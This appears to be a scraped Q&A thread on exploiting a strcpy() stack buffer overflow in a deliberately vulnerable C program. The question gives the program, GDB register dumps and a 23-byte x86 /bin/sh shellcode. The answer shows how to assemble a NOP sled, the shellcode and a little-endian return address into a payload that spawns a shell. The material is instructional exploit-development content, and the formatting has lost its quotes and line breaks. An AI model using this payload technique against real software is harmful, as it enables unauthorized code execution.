I am trying to get a shellcode, exploiting a C program with a strcpy() function.I have found out that I need 68 bytes to start writing on the EIP. So, if I write 72's by EIP register is 0x41414141.What I want is to insert a 23 bytes shellcode for a x86 OS. So I know that I need this:68 A bytes - 23 shellcode bytes:  45 NOPs. 23 bytes Shellcode.4 bytes for the EIP register, pointing the start of the shellcode.I don't know how to carry this out. This is my program:#include <stdio.h>#include <string.h>void cambiarEIP() {    printf(\n Has cambiado el valor del EIP, enhorabuena\n);}int main(int argc, char * argv[]) {    char buf[64];    if(argc == 1) {        printf(Uso: %s entrada\n, argv[0]);        return -1;    }    strcpy(buf,argv[1]);    printf(%s\n, buf);    return 0;}I want to insert this as a parameter: 45As+shellcode+EIP DIR.This is what I get with the GDB when passing 71 bytes as a parameter: Program received signal SIGSEGV, Segmentation fault. 0x00414141 in ?? ()And those are my registers:(gdb) i reax            0x0  0ecx            0xb7fbc4e0   -1208236832edx            0xb7fbd360   -1208233120ebx            0xb7fbbff4   -1208238092esp            0xbffff4a0   0xbffff4a0ebp            0x41414141   0x41414141esi            0x0  0edi            0x0  0eip            0x414141 0x414141eflags         0x10246  [ PF ZF IF RF ]cs             0x73 115ss             0x7b 123ds             0x7b 123es             0x7b 123fs             0x0  0gs             0x33 51I know that I need something like this:./shell \x41\*45 + \x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69          \x6e\x89\xe3\x50\x53\x89\xe1\xb0\x0b\xcd\x80 + Shellcode locationHow to carry this out?
Strcpy BufferOverflow get shellcode location for EIP
assembly;gdb;shellcode;register
68 A bytes - 23 shellcode bytes: 45 NOPs.NOP is the mnemonic that stands for No OPeration which is the byte \x90, meaning that you'll have to change the A's (\x41) for NOPs (\x90), because \x41 by itself it's not a valid ASM instruction in the x86 processor hence making your program crash.Taking this into account, first part goes like: python -c 'print \x90*45' > payload.bin23 bytes ShellcodeThis is self explanatory, just add your shellcode:python -c 'print \x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\xb0\x0b\xcd\x80' >> payload.bin4 bytes for the EIP register, pointing the start of the shellcode.Here's the tricky part:First ask yourself a few questions:Does the system have ASLR enabled?Does it have DEP enabled?NX?Read this if the answer is that you don't knowAnd if the answer to both of these is no then, continue to check into gdb the followingSet a breakpoint at program's entry point in gdbStep in gdb until you get to the call to strcpy (id est, when the overflow happens)Get the location of your buf variable in stack. We can do so by writing the next command in gdb since the Stack Pointer is pointing right at the beginning of bufx/32xb $espNow that you have the location of your buf variable, which should be something in the form 0xbffff5f0. Now get that memory position and add it to the end of your payload. You need this position in order to jump to the location of your buf variable and execute the shellcode in it...But hold on!You still have to take endianness into account, which in your system is little endian.So you'll need to write that memory position in little endian which, if you are lazy like me, you'll end up writing a script that makes it for you:python pyndianizer.py 0xbffff5f0 ==> \xf0\xf5\xff\xbfNow, add it to your payloadpython -c 'print \xf0\xf5\xff\xbf' >> payload.binAnd for the grand finale:cat payload.bin | ./shellIf everything was done well, just press a few enters and you'll have your shell.Final noteYour shellcode runs /bin/sh but just running it doesn't work sometimes because the program ends just after running your shellcode. If so, you'll have to make it wait for user input after cating the shellcode in